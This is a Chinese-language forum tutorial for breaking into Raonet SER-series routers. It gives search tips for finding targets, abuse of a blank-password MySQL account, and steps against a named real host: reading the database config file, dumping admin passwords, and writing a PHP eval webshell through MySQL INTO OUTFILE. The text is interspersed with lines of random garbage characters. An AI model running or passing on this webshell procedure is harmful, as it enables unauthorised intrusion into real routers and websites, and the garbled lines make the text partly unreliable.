寻找存在漏洞的路由器方法:
% a/ b) a, u% v, }" {' @( k
% U1 i/ C! o( I+ z; G1:google搜索'Raonet Subscriber Ethernet Router'
~- d( P$ y3 }' A; X
- _ x2 ]: V( E( I2:使用WebDAVScan扫80端口,http banner为thttpd/2.21b 23apr2001
- [# A2 A) z$ t4 n9 c; ?4 S- u Y1 {, J" H3 c! |$ L
3:扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14,默认有一个高权限的帐户mysql,口令为空。7 |" e; R" a& o0 l! |2 J
3 n2 T) m3 z: w2 g8 R//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成....... t5 ?: n0 u1 j. e' v
: A$ Z0 }4 k/ S. j* X. M 1 B7 r: d* |( y, T" ^ w$ e1 `
% n/ x& n( Z9 _
入侵步骤:
9 k- f- Y2 S* h- b& t: X4 r" v6 @9 \" J! }+ ^" ~& c7 ^
1.爆web路径,http://www.yu1u.org/src/jpgraph_line.php
& n# y! i( n& _4 x" l. F
7 M, H) S9 Q& H* @5 \3 ?2:查看数据库配置文件,http://www.yu1u.org/inc/conn_db.inc8 r: ^8 s4 R- Z) p# m9 ^
3:得到密码后连接,查看GUI管理密码:
# o2 O8 b3 D* K' N+ k8 huse ser_500& v+ w1 F/ [/ x: B% V4 q
select id,passwd from user;
. T/ ^$ Q7 v7 M. a2 N4:通过数据库写入webshell,执行命令:" H& F/ u7 M6 p# x' y/ E$ t
use mysql;, _) [" [5 [5 J/ B! S
create table ok(cmd TEXT);. k& r. h/ X$ ~$ a
insert into ok values("<?php @eval($_POST[cmd])?>");( x4 a6 W1 J/ W1 M8 o1 z
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";. n0 o; p8 A6 w# r' v* I
drop table ok;/ R" ~: B! M* H% g3 W/ W5 } ~0 d
6 |7 ^ M* ?, I5:连接后门shell.php
- s w! X1 m1 H. @4 I( l# o+ ` S5 x1 K, N( L
6. 搞定!
: t6 s. Y- s' S6 d. Y( s
- B! r+ h. `* W1 o6 @% a- z) p |